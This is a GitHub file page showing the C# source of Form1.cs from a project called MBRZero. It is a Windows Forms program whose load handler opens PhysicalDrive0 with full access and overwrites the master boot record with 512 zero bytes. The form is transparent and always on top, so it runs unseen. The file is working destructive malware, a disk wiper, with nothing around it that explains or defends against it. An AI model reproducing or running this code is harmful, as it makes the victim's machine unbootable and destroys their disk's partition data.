-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathForm1.cs
More file actions
51 lines (46 loc) · 1.86 KB
/
Form1.cs
File metadata and controls
51 lines (46 loc) · 1.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace MBRZero
{
public partial class Form1 : Form
{
[DllImport("kernel32")]
private static extern IntPtr CreateFile(string lpFileName, uint dwDesignedAccess, uint dwShareMode,
IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32")]
private static extern bool WriteFile(IntPtr hfile, byte[] lpBuffer, uint nNumberOfBytesToWrite,
out uint lpNumberBytesWritten, IntPtr lpOverlapped);
private const uint GenericRead = 0x80000000;
private const uint GenericWrite = 0x40000000;
private const uint GenericExecute = 0x20000000;
private const uint GenericAll = 0x10000000;
private const uint FileShareRead = 0x1;
private const uint FileShareWrite = 0x2;
private const uint OpenExisting = 0x3;
private const uint FileFlagDeleteOnClose = 0x4000000;
private const uint MbrSize = 512u;
public Form1()
{
InitializeComponent();
this.TransparencyKey = this.BackColor;
TopMost = true;
}
private void Form1_Load(object sender, EventArgs e)
{
Process.EnterDebugMode();
var mbrData = new byte[MbrSize];
var mbr = CreateFile("\\\\.\\PhysicalDrive0", GenericAll, FileShareRead | FileShareWrite, IntPtr.Zero,
OpenExisting, 0, IntPtr.Zero);
WriteFile(mbr, mbrData, MbrSize, out uint lpNumberOfBytesWritten, IntPtr.Zero);
}
}
}